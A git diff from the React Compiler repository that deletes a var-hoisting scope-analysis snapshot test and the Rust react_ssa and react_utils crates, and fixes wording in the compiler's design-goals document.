index 4a8077c19a9a..000000000000
--- a/compiler/crates/react_semantic_analysis/tests/snapshots/analysis_test__fixtures@var-hoisting.js.snap
+++ /dev/null
@@ -1,298 +0,0 @@
----
-source: crates/react_semantic_analysis/tests/analysis_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nAnalysis:\\n{output}\")"
-input_file: crates/react_semantic_analysis/tests/fixtures/var-hoisting.js
----
-Input:
-function Component(props) {
-  bar;
-  bar = true;
-  baz;
-  baz = false;
-  function foo() {
-    bar;
-    bar = true;
-    if (props) {
-      var bar;
-    }
-  }
-  if (props) {
-    // nest inside a block statement to test that the declaration hoists
-    var bar;
-  }
-}
-
-var baz;
-
-
-Analysis:
-ScopeManager {
-    globals: [
-        (
-            "Array",
-            DeclarationId(
-                0,
-            ),
-        ),
-        (
-            "Boolean",
-            DeclarationId(
-                1,
-            ),
-        ),
-        (
-            "console",
-            DeclarationId(
-                2,
-            ),
-        ),
-        (
-            "global",
-            DeclarationId(
-                3,
-            ),
-        ),
-        (
-            "Math",
-            DeclarationId(
-                4,
-            ),
-        ),
-        (
-            "Number",
-            DeclarationId(
-                5,
-            ),
-        ),
-        (
-            "setInterval",
-            DeclarationId(
-                6,
-            ),
-        ),
-        (
-            "setTimeout",
-            DeclarationId(
-                7,
-            ),
-        ),
-        (
-            "String",
-            DeclarationId(
-                8,
-            ),
-        ),
-    ],
-    root: Scope {
-        id: ScopeId(
-            0,
-        ),
-        kind: Module,
-        declarations: {
-            "Component": Declaration {
-                id: DeclarationId(
-                    9,
-                ),
-                kind: Function,
-                scope: ScopeId(
-                    0,
-                ),
-            },
-            "baz": Declaration {
-                id: DeclarationId(
-                    14,
-                ),
-                kind: Var,
-                scope: ScopeId(
-                    0,
-                ),
-            },
-        },
-        references: [],
-        children: [
-            Scope {
-                id: ScopeId(
-                    1,
-                ),
-                kind: Function,
-                declarations: {
-                    "props": Declaration {
-                        id: DeclarationId(
-                            10,
-                        ),
-                        kind: Function,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "foo": Declaration {
-                        id: DeclarationId(
-                            11,
-                        ),
-                        kind: Function,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    "bar": Declaration {
-                        id: DeclarationId(
-                            13,
-                        ),
-                        kind: Var,
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                },
-                references: [
-                    Reference {
-                        id: ReferenceId(
-                            0,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            13,
-                        ),
-                        declaration (name): "bar",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            1,
-                        ),
-                        kind: Write,
-                        declaration: DeclarationId(
-                            13,
-                        ),
-                        declaration (name): "bar",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            2,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            14,
-                        ),
-                        declaration (name): "baz",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            3,
-                        ),
-                        kind: Write,
-                        declaration: DeclarationId(
-                            14,
-                        ),
-                        declaration (name): "baz",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                    Reference {
-                        id: ReferenceId(
-                            7,
-                        ),
-                        kind: Read,
-                        declaration: DeclarationId(
-                            10,
-                        ),
-                        declaration (name): "props",
-                        scope: ScopeId(
-                            1,
-                        ),
-                    },
-                ],
-                children: [
-                    Scope {
-                        id: ScopeId(
-                            2,
-                        ),
-                        kind: Function,
-                        declarations: {
-                            "bar": Declaration {
-                                id: DeclarationId(
-                                    12,
-                                ),
-                                kind: Var,
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                        },
-                        references: [
-                            Reference {
-                                id: ReferenceId(
-                                    4,
-                                ),
-                                kind: Read,
-                                declaration: DeclarationId(
-                                    12,
-                                ),
-                                declaration (name): "bar",
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                            Reference {
-                                id: ReferenceId(
-                                    5,
-                                ),
-                                kind: Write,
-                                declaration: DeclarationId(
-                                    12,
-                                ),
-                                declaration (name): "bar",
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                            Reference {
-                                id: ReferenceId(
-                                    6,
-                                ),
-                                kind: Read,
-                                declaration: DeclarationId(
-                                    10,
-                                ),
-                                declaration (name): "props",
-                                scope: ScopeId(
-                                    2,
-                                ),
-                            },
-                        ],
-                        children: [
-                            Scope {
-                                id: ScopeId(
-                                    3,
-                                ),
-                                kind: Block,
-                                declarations: {},
-                                references: [],
-                                children: [],
-                            },
-                        ],
-                    },
-                    Scope {
-                        id: ScopeId(
-                            4,
-                        ),
-                        kind: Block,
-                        declarations: {},
-                        references: [],
-                        children: [],
-                    },
-                ],
-            },
-        ],
-    },
-}
-
diff --git a/compiler/crates/react_ssa/Cargo.toml b/compiler/crates/react_ssa/Cargo.toml
deleted file mode 100644
index f63eb6907ac6..000000000000
--- a/compiler/crates/react_ssa/Cargo.toml
+++ /dev/null
@@ -1,21 +0,0 @@
-[package]
-name = "react_ssa"
-version = "0.1.0"
-publish               = false
-authors.workspace     = true
-description.workspace = true
-edition.workspace     = true
-homepage.workspace    = true
-keywords.workspace    = true
-license.workspace     = true
-repository.workspace  = true
-
-# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
-
-[dependencies]
-react_hir = { workspace = true }
-react_utils = { workspace = true }
-react_diagnostics = { workspace = true }
-indexmap = { workspace = true }
-miette = { workspace = true }
-thiserror = { workspace = true }
\ No newline at end of file
diff --git a/compiler/crates/react_ssa/README.md b/compiler/crates/react_ssa/README.md
deleted file mode 100644
index a508dda3ec10..000000000000
--- a/compiler/crates/react_ssa/README.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# react_ssa
-
-This crate handles conversion to/from SSA and normal form. This includes a pass to eliminate redundant phi nodes in SSA form.
\ No newline at end of file
diff --git a/compiler/crates/react_ssa/src/eliminate_redundant_phis.rs b/compiler/crates/react_ssa/src/eliminate_redundant_phis.rs
deleted file mode 100644
index 21996dcc8fb2..000000000000
--- a/compiler/crates/react_ssa/src/eliminate_redundant_phis.rs
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::collections::{HashMap, HashSet};
-
-use react_hir::{BlockId, Environment, Function, Identifier, IdentifierId, InstructionValue};
-
-/// Pass to eliminate redundant phi nodes:
-/// all operands are the same identifier, ie `x2 = phi(x1, x1, x1)`.
-/// all operands are the same identifier *or* the output of the phi, ie `x2 = phi(x1, x2, x1, x2)`.
-///
-/// In both these cases, the phi is eliminated and all usages of the phi identifier
-/// are replaced with the other operand (ie in both cases above, all usages of `x2` are replaced with `x1` .
-///
-/// The algorithm is inspired by that in https://pp.info.uni-karlsruhe.de/uploads/publikationen/braun13cc.pdf
-/// but modified to reduce passes over the CFG. We visit the blocks in reverse postorder. Each time a redundant
-/// phi is encountered we add a mapping (eg x2 -> x1) to a rewrite table. Subsequent instructions, terminals,
-/// and phis rewrite all their identifiers based on this table. The algorithm loops over the CFG repeatedly
-/// until there are no new rewrites: for a CFG without back-edges it completes in a single pass.
-type Rewrites = HashMap<IdentifierId, Identifier>;
-pub fn eliminate_redundant_phis(env: &Environment, fun: &mut Function) {
-    let hir = &mut fun.body;
-    let mut rewrites = Rewrites::new();
-
-    let mut has_back_edge = false;
-    let mut visited = HashSet::<BlockId>::new();
-
-    let mut len;
-    loop {
-        len = rewrites.len();
-
-        for block in hir.blocks.iter_mut() {
-            if !has_back_edge {
-                for predecessor in block.predecessors.iter() {
-                    if !visited.contains(predecessor) {
-                        has_back_edge = true;
-                    }
-                }
-            }
-            visited.insert(block.id);
-
-            block.phis.retain_mut(|phi| {
-                // Remap operands in case they are from eliminated phis
-                for (_, operand) in phi.operands.iter_mut() {
-                    rewrite(&rewrites, operand);
-                }
-                // Find if the phi can be eliminated
-                let mut rewrite: Option<Identifier> = None;
-                for (_, operand) in phi.operands.iter() {
-                    if operand.id == phi.identifier.id {
-                        // This operand is the same as the phi itself
-                        continue;
-                    }
-                    match &rewrite {
-                        Some(rewrite) if rewrite.id == operand.id => {
-                            // this operand is the same as the other operands
-                            continue;
-                        }
-                        Some(_) => {
-                            // There are multiple operands not equal to the phi itself,
-                            // the phi cannot be eliminated (true to retain the phi)
-                            return true;
-                        }
-                        None => {
-                            rewrite = Some(operand.clone());
-                        }
-                    }
-                }
-                rewrites.insert(phi.identifier.id, rewrite.unwrap());
-                // The phi can be eliminated (false to not retain)
-                false
-            });
-
-            for instr_ix in block.instructions.iter() {
-                let instr = &mut hir.instructions[usize::from(*instr_ix)];
-                instr.each_lvalue(|lvalue| rewrite(&rewrites, &mut lvalue.identifier));
-                instr.each_rvalue(|rvalue| rewrite(&rewrites, &mut rvalue.identifier));
-
-                if let InstructionValue::Function(fun) = &mut instr.value {
-                    for context_identifier in &mut fun.lowered_function.context {
-                        rewrite(&rewrites, &mut context_identifier.identifier);
-                    }
-
-                    eliminate_redundant_phis(env, &mut fun.lowered_function);
-                }
-            }
-        }
-
-        // We only need to loop if there were newly eliminated phis in this iteration
-        // *and* the CFG has loops. If there are no loops then all eliminated phis must
-        // have been propagated forwards since we visit in RPO
-        if has_back_edge && rewrites.len() > len {
-            continue;
-        } else {
-            break;
-        }
-    }
-}
-
-fn rewrite(rewrites: &Rewrites, identifier: &mut Identifier) {
-    if let Some(rewrite) = rewrites.get(&identifier.id) {
-        *identifier = rewrite.clone()
-    }
-}
diff --git a/compiler/crates/react_ssa/src/enter.rs b/compiler/crates/react_ssa/src/enter.rs
deleted file mode 100644
index ca011de7b18c..000000000000
--- a/compiler/crates/react_ssa/src/enter.rs
+++ /dev/null
@@ -1,299 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::cell::RefCell;
-use std::rc::Rc;
-
-use indexmap::{IndexMap, IndexSet};
-use react_diagnostics::Diagnostic;
-use react_hir::{
-    BasicBlock, BlockId, BlockRewriter, BlockRewriterAction, Blocks, Environment, Function,
-    Identifier, IdentifierData, IdentifierId, IdentifierOperand, InstructionValue, MutableRange,
-    Phi, HIR,
-};
-
-pub fn enter_ssa(env: &Environment, fun: &mut Function) -> Result<(), Diagnostic> {
-    assert!(fun.context.is_empty());
-    enter_ssa_impl(env, fun, None)
-}
-
-pub fn enter_ssa_impl(
-    env: &Environment,
-    fun: &mut Function,
-    context_defs: Option<IndexMap<IdentifierId, Identifier>>,
-) -> Result<(), Diagnostic> {
-    let mut builder = Builder::new(env, fun.body.entry, &fun.body.blocks);
-    if let Some(context_defs) = context_defs {
-        builder.initialize_context(context_defs);
-    }
-    for param in &mut fun.params {
-        builder.visit_param(param);
-    }
-    visit_instructions(env, &mut builder, &mut fun.body)?;
-
-    let mut states = builder.complete();
-
-    for block in fun.body.blocks.iter_mut() {
-        let state = states.remove(&block.id).unwrap();
-        block.phis = state.phis;
-    }
-
-    Ok(())
-}
-
-fn visit_instructions(
-    env: &Environment,
-    builder: &mut Builder<'_>,
-    hir: &mut HIR,
-) -> Result<(), Diagnostic> {
-    let instructions = &mut hir.instructions;
-    let blocks = &mut hir.blocks;
-    let mut rewriter = BlockRewriter::new(blocks, hir.entry);
-
-    rewriter.try_each_block(|mut block, _rewriter| {
-        builder.start_block(&block);
-        for instr_ix in &block.instructions {
-            let instr = &mut instructions[usize::from(*instr_ix)];
-            instr.each_rvalue(|rvalue| builder.visit_load(rvalue));
-            instr.try_each_lvalue(|lvalue| builder.visit_store(lvalue))?;
-
-            if let InstructionValue::Function(fun) = &mut instr.value {
-                // Lookup each of the context variables referenced in the function
-                // against the current block. Note that variables which are reassigned somewhere
-                // and referenced in a function expression are always promoted to LoadContext
-                // so the context variables are all guaranteed to be const. We're just remapping
-                // the id along w the original declaration and other usages.
-                let context_defs: IndexMap<IdentifierId, Identifier> = fun
-                    .lowered_function
-                    .context
-                    .iter_mut()
-                    .map(|identifier| {
-                        let old_id = identifier.identifier.id;
-                        builder.visit_load(identifier);
-                        (old_id, identifier.identifier.clone())
-                    })
-                    .collect();
-                enter_ssa_impl(env, &mut fun.lowered_function, Some(context_defs))?;
-            }
-        }
-        block
-            .terminal
-            .value
-            .each_operand(|load| builder.visit_load(load));
-        builder.close_block(&block);
-        Ok(BlockRewriterAction::Keep(block))
-    })
-}
-
-#[derive(Debug)]
-struct Builder<'e> {
-    env: &'e Environment,
-    predecessors: IndexMap<BlockId, IndexSet<BlockId>>,
-
-    states: IndexMap<BlockId, BlockState>,
-    current: BlockId,
-    unsealed_predecessors: IndexMap<BlockId, usize>,
-    unknown: IndexSet<IdentifierId>,
-    context: IndexSet<IdentifierId>,
-    visited: IndexSet<BlockId>,
-}
-
-#[derive(Debug)]
-struct BlockState {
-    defs: IndexMap<IdentifierId, Identifier>,
-    incomplete_phis: Vec<IncompletePhi>,
-    phis: Vec<Phi>,
-}
-
-impl BlockState {
-    fn new() -> Self {
-        Self {
-            defs: Default::default(),
-            incomplete_phis: Default::default(),
-            phis: Default::default(),
-        }
-    }
-}
-
-#[derive(Debug)]
-struct IncompletePhi {
-    old_id: Identifier,
-    new_id: Identifier,
-}
-
-impl<'e> Builder<'e> {
-    fn new(env: &'e Environment, entry: BlockId, blocks: &Blocks) -> Self {
-        let states = blocks
-            .block_ids()
-            .into_iter()
-            .map(|block_id| (block_id, BlockState::new()))
-            .collect();
-        let predecessors = blocks
-            .iter()
-            .map(|block| (block.id, block.predecessors.clone()))
-            .collect();
-        Self {
-            env,
-            predecessors,
-            states,
-            current: entry,
-            unsealed_predecessors: Default::default(),
-            unknown: Default::default(),
-            context: Default::default(),
-            visited: Default::default(),
-        }
-    }
-
-    fn initialize_context(&mut self, defs: IndexMap<IdentifierId, Identifier>) {
-        let state = self.states.get_mut(&self.current).unwrap();
-        state.defs = defs;
-    }
-
-    fn complete(self) -> IndexMap<BlockId, BlockState> {
-        self.states
-    }
-
-    fn next_ssa_id(&self) -> IdentifierId {
-        self.env.next_identifier_id()
-    }
-
-    fn visit_store(&mut self, lvalue: &mut IdentifierOperand) -> Result<(), Diagnostic> {
-        let old_identifier = &lvalue.identifier;
-        if self.unknown.contains(&old_identifier.id) {
-            return Err(Diagnostic::invariant(
-                "EnterSSA: Expected identifier to be defined before being used",
-                None,
-            ));
-        }
-        if self.context.contains(&old_identifier.id) {
-            let new_identifier = self.get_id_at(self.current, old_identifier);
-            lvalue.identifier = new_identifier;
-            return Ok(());
-        }
-
-        let new_identifier = self.make_identifier(old_identifier);
-        let state = self.states.get_mut(&self.current).unwrap();
-        state.defs.insert(old_identifier.id, new_identifier.clone());
-        lvalue.identifier = new_identifier;
-        Ok(())
-    }
-
-    fn visit_param(&mut self, param: &mut IdentifierOperand) {
-        let old_identifier = &param.identifier;
-        let new_identifier = self.make_identifier(old_identifier);
-        let state = self.states.get_mut(&self.current).unwrap();
-        state.defs.insert(old_identifier.id, new_identifier.clone());
-        param.identifier = new_identifier;
-    }
-
-    fn visit_load(&mut self, local: &mut IdentifierOperand) {
-        let new_identifier = self.get_id_at(self.current, &local.identifier);
-        local.identifier = new_identifier;
-    }
-
-    fn get_id_at(&mut self, block_id: BlockId, old_identifier: &Identifier) -> Identifier {
-        // Check if we've already resolved this identifier in this block
-        let state = self.states.get(&block_id).unwrap();
-        if let Some(identifier) = state.defs.get(&old_identifier.id) {
-            return identifier.clone();
-        }
-        // Else we have to look at predecessor blocks: bail if no predecessors
-        let predecessors = self.predecessors.get(&block_id).unwrap();
-        if predecessors.is_empty() {
-            panic!("Unable to find previous id for {old_identifier:?}");
-            // self.unknown.insert(old_identifier.id);
-            // return old_identifier.clone();
-        }
-        // If we haven't visited all predecessors, synthesize a new identifier
-        // and save it as an incomplete phi
-        if self.unsealed_predecessors.get(&block_id).cloned().unwrap() > 0 {
-            let new_identifier = self.make_identifier(old_identifier);
-            let state = self.states.get_mut(&block_id).unwrap();
-            state.incomplete_phis.push(IncompletePhi {
-                old_id: old_identifier.clone(),
-                new_id: new_identifier.clone(),
-            });
-            state.defs.insert(old_identifier.id, new_identifier.clone());
-            return new_identifier;
-        }
-        // If exactly one predecessor, check to see if we have a definition there
-        if predecessors.len() == 1 {
-            let predecessor = predecessors.first().unwrap();
-            let new_identifier = self.get_id_at(*predecessor, old_identifier);
-            let state = self.states.get_mut(&block_id).unwrap();
-            state.defs.insert(old_identifier.id, new_identifier.clone());
-            return new_identifier;
-        }
-        // There are multiple predecessors, we may need a phi
-        let new_identifier = self.make_identifier(old_identifier);
-        let state = self.states.get_mut(&block_id).unwrap();
-        state.defs.insert(old_identifier.id, new_identifier.clone());
-        self.add_phi(block_id, old_identifier, new_identifier)
-    }
-
-    fn add_phi(
-        &mut self,
-        block_id: BlockId,
-        old_identifier: &Identifier,
-        new_identifier: Identifier,
-    ) -> Identifier {
-        let mut phi = Phi {
-            identifier: new_identifier.clone(),
-            operands: Default::default(),
-        };
-        // TODO: avoid clone here
-        let predecessors = self.predecessors.get(&block_id).unwrap().clone();
-        for pred_block_id in predecessors {
-            let pred_id = self.get_id_at(pred_block_id, old_identifier);
-            phi.operands.insert(pred_block_id, pred_id);
-        }
-        let state = self.states.get_mut(&block_id).unwrap();
-        state.phis.push(phi);
-        new_identifier
-    }
-
-    fn make_identifier(&self, old_identifier: &Identifier) -> Identifier {
-        let old_data = old_identifier.data.borrow();
-        Identifier {
-            id: self.next_ssa_id(),
-            name: old_identifier.name.clone(),
-            data: Rc::new(RefCell::new(IdentifierData {
-                mutable_range: MutableRange::new(),
-                scope: None,
-                type_: old_data.type_.clone(),
-            })),
-        }
-    }
-
-    fn fix_incomplete_phis(&mut self, block_id: BlockId) {
-        let state = self.states.get_mut(&block_id).unwrap();
-        let incomplete_phis = std::mem::take(&mut state.incomplete_phis);
-        for phi in incomplete_phis {
-            self.add_phi(block_id, &phi.old_id, phi.new_id);
-        }
-    }
-
-    fn start_block(&mut self, block: &BasicBlock) {
-        self.current = block.id;
-        self.visited.insert(block.id);
-    }
-
-    fn close_block(&mut self, block: &BasicBlock) {
-        let successors = block.terminal.value.successors();
-        for successor in successors {
-            let preds = &self.predecessors.get(&successor).unwrap();
-            let count = self
-                .unsealed_predecessors
-                .entry(successor)
-                .or_insert(preds.len());
-            *count -= 1;
-            if *count == 0 && self.visited.contains(&successor) {
-                self.fix_incomplete_phis(successor)
-            }
-        }
-    }
-}
diff --git a/compiler/crates/react_ssa/src/leave.rs b/compiler/crates/react_ssa/src/leave.rs
deleted file mode 100644
index 8ccb39843952..000000000000
--- a/compiler/crates/react_ssa/src/leave.rs
+++ /dev/null
@@ -1,11 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-use react_hir::{Environment, HIR};
-
-pub fn leave_ssa(_env: &Environment, _hir: &mut HIR) {
-    todo!("leave_ssa()");
-}
diff --git a/compiler/crates/react_ssa/src/lib.rs b/compiler/crates/react_ssa/src/lib.rs
deleted file mode 100644
index ced091d52510..000000000000
--- a/compiler/crates/react_ssa/src/lib.rs
+++ /dev/null
@@ -1,14 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-mod eliminate_redundant_phis;
-mod enter;
-mod leave;
-
-pub use eliminate_redundant_phis::eliminate_redundant_phis;
-pub use enter::enter_ssa;
-pub use leave::leave_ssa;
diff --git a/compiler/crates/react_utils/Cargo.toml b/compiler/crates/react_utils/Cargo.toml
deleted file mode 100644
index 0118b5990fc4..000000000000
--- a/compiler/crates/react_utils/Cargo.toml
+++ /dev/null
@@ -1,16 +0,0 @@
-[package]
-name = "react_utils"
-version = "0.1.0"
-publish               = false
-authors.workspace     = true
-description.workspace = true
-edition.workspace     = true
-homepage.workspace    = true
-keywords.workspace    = true
-license.workspace     = true
-repository.workspace  = true
-
-# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
-
-[dependencies]
-stacker = { workspace = true }
diff --git a/compiler/crates/react_utils/README.md b/compiler/crates/react_utils/README.md
deleted file mode 100644
index 0671d497b01a..000000000000
--- a/compiler/crates/react_utils/README.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# react_utils
-
-This is a catch-all crate for utilities and helper code that doesn't have an obvious home elsewhere.
-It is expected that this crate will be depended on by lots of other crates in the project. However,
-this crate should generally *not* depend on other workspace crates — that's an indication that the
-utility you're adding belongs with the crate that uses the utility.
\ No newline at end of file
diff --git a/compiler/crates/react_utils/src/ensure_sufficient_stack.rs b/compiler/crates/react_utils/src/ensure_sufficient_stack.rs
deleted file mode 100644
index 9124b46c8054..000000000000
--- a/compiler/crates/react_utils/src/ensure_sufficient_stack.rs
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-pub fn ensure_sufficient_stack<R>(f: impl FnOnce() -> R) -> R {
-    f()
-}
diff --git a/compiler/crates/react_utils/src/lib.rs b/compiler/crates/react_utils/src/lib.rs
deleted file mode 100644
index 28673fdae6ef..000000000000
--- a/compiler/crates/react_utils/src/lib.rs
+++ /dev/null
@@ -1,12 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-mod ensure_sufficient_stack;
-mod pointer_address;
-
-pub use ensure_sufficient_stack::*;
-pub use pointer_address::PointerAddress;
diff --git a/compiler/crates/react_utils/src/pointer_address.rs b/compiler/crates/react_utils/src/pointer_address.rs
deleted file mode 100644
index 259a2fb24e12..000000000000
--- a/compiler/crates/react_utils/src/pointer_address.rs
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-/// A wrapper type that allows comparing pointer equality of references. Two
-/// `PointerAddress` values are equal if they point to the same memory location.
-///
-/// This type is _sound_, but misuse can easily lead to logical bugs if the memory
-/// of one PointerAddress could have been freed and reused for a subsequent
-/// PointerAddress.
-#[derive(Hash, Eq, PartialEq, Clone, Copy)]
-pub struct PointerAddress(usize);
-
-impl PointerAddress {
-    pub fn new<T>(ptr: &T) -> Self {
-        // SAFETY: We convert the pointer into a usize for use as an identifier.
-        // This is _safe_ but may lead to logical bugs if different values can
-        // be stored at the same memory address within the lifetime of the
-        // PointerAddress.
-        let ptr_address: usize = unsafe { std::mem::transmute(ptr) };
-        Self(ptr_address)
-    }
-}
-
-impl std::fmt::Debug for PointerAddress {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        f.write_fmt(format_args!("{:#X}", self.0))
-    }
-}
diff --git a/compiler/docs/DESIGN_GOALS.md b/compiler/docs/DESIGN_GOALS.md
index b1133f1d0bd3..7044f72b07b2 100644
--- a/compiler/docs/DESIGN_GOALS.md
+++ b/compiler/docs/DESIGN_GOALS.md
@@ -8,10 +8,10 @@ The idea of React Compiler is to allow developers to use React's familiar declar
 
 * Bound the amount of re-rendering that happens on updates to ensure that apps have predictably fast performance by default.
 * Keep startup time neutral with pre-React Compiler performance. Notably, this means holding code size increases and memoization overhead low enough to not impact startup.
-* Retain React's familiar declarative, component-oriented programming model. Ie, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
+* Retain React's familiar declarative, component-oriented programming model. i.e, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
 * "Just work" on idiomatic React code that follows React's rules (pure render functions, the rules of hooks, etc).
 * Support typical debugging and profiling tools and workflows.
-* Be predictable and understandable enough by React developers — ie developers should be able to quickly develop a rough intuition of how React Compiler works.
+* Be predictable and understandable enough by React developers — i.e. developers should be able to quickly develop a rough intuition of how React Compiler works.
 * Not require explicit annotations (types or otherwise) for typical product code. We may provide features that allow developers to opt-in to using type information to enable additional optimizations, but the compiler should work well without type information or other annotations.
 
 ## Non-Goals
@@ -19,20 +19,20 @@ The idea of React Compiler is to allow developers to use React's familiar declar
 The following are explicitly *not* goals for React Compiler:
 
 * Provide perfectly optimal re-rendering with zero unnecessary recomputation. This is a non-goal for several reasons:
-  * The runtime overhead of the extra tracking involved can outweight the cost of recomputation in many cases.
+  * The runtime overhead of the extra tracking involved can outweigh the cost of recomputation in many cases.
   * In cases with conditional dependencies it may not be possible to avoid recomputing some/all instructions.
   * The amount of code may regress startup times, which would conflict with our goal of neutral startup performance.
 * Support code that violates React's rules. React's rules exist to help developers build robust, scalable applications and form a contract that allows us to continue improving React without breaking applications. React Compiler depends on these rules to safely transform code, and violations of rules will therefore break React Compiler's optimizations.
 * Support legacy React features. Notably we will not support class components due to their inherent mutable state being shared across multiple methods with complex lifetimes and data flow.
-* Support 100% of the JavaScript language. In particular, we will not support rarely used features and/or features which are known to be unsafe or which cannot be modeled soundly. For example, nested classes that capture values from their closure are difficult to model accurately bc of mutability, and `eval()` is unsafe. We aim to support the vast majority of JavaScript code (and the TypeScript and Flow dialects)
+* Support 100% of the JavaScript language. In particular, we will not support rarely used features and/or features which are known to be unsafe or which cannot be modeled soundly. For example, nested classes that capture values from their closure are difficult to model accurately because of mutability, and `eval()` is unsafe. We aim to support the vast majority of JavaScript code (and the TypeScript and Flow dialects)
 
 ## Design Principles
 
 Many aspects of the design follow naturally from the above goals:
 
 * The compiler output must be high-level code that retains not just the semantics of the input but also is expressed using similar constructs to the input. For example, rather than convert logical expressions (`a ?? b`) into an `if` statement, we retain the high-level form of the logical expression. Rather than convert all looping constructs to a single form, we retain the original form of the loop. This follows from our goals:
-  * High-level code is more compact, and helps reduce the impact of compilation on application size
-  * High-level constructs that match what the developer wrote are easier to debug
+  * High-level code is more compact, and helps reduce the impact of compilation on application size.
+  * High-level constructs that match what the developer wrote are easier to debug.
 * From the above, it then follows that the compiler's internal representation must also be high-level enough to be able to output the original high-level constructs. The internal representation is what we call a High-level Intermediate Representation (HIR) — a name borrowed from Rust Compiler. However, React Compiler's HIR is perhaps even more suited to this name, as it retains high-level information (distinguishing if vs logical vs ternary, or for vs while vs for..of) but also represents code as a control-flow graph with no nesting.
 
 ## Architecture
@@ -42,12 +42,12 @@ React Compiler has two primary public interfaces: a Babel plugin for transformin
 The core of the compiler is largely decoupled from Babel, using its own intermediate representations. The high-level flow is as follows:
 
 - **Babel Plugin**: Determines which functions in a file should be compiled, based on the plugin options and any local opt-in/opt-out directives. For each component or hook to be compiled, the plugin calls the compiler, passing in the original function and getting back a new AST node which will replace the original.
-- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (ie a loop).
+- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (i.e. a loop).
 - **SSA Conversion** (EnterSSA): The HIR is converted to HIR form, such that all Identifiers in the HIR are updated to an SSA-based identifier.
-- Validation: We run various validation passes to check that the input is valid React, ie that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
+- Validation: We run various validation passes to check that the input is valid React, i.e. that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
 - **Optimization**: Various passes such as dead code elimination and constant propagation can generally improve performance and reduce the amount of instructions to be optimized later.
 - **Type Inference** (InferTypes): We run a conservative type inference pass to identify certain key types of data that may appear in the program that are relevant for further analysis, such as which values are hooks, primitives, etc. 
-- **Inferring Reactive Scopes**: Several passes are involved in determing groups of values that are created/mutated together and the set of instructions involved in creating/mutating those values. We call these groups "reactive scopes", and each can have one or more declarations (or occasionally a reassignment).
+- **Inferring Reactive Scopes**: Several passes are involved in determining groups of values that are created/mutated together and the set of instructions involved in creating/mutating those values. We call these groups "reactive scopes", and each can have one or more declarations (or occasionally a reassignment).
 - **Constructing/Optimizing Reactive Scopes**: Once the compiler determines the set of reactive scopes, it then transforms the program to make these scopes explicit in the HIR. The code is later converted to a ReactiveFunction, which is a hybrid of the HIR and an AST. Scopes are further pruned and transformed. For example, the compiler cannot make hook calls conditional, so any reactive scopes that contain a hook call must be pruned. If two consecutive scopes will always invalidate together, we attempt to merge them to reduce overhead, etc.
 - **Codegen**: Finally, the ReactiveFunction hybrid HIR/AST is converted back to a raw Babel AST node, and returned to the Babel plugin.
 - **Babel Plugin**: The Babel plugin replaces the original node with the new version.
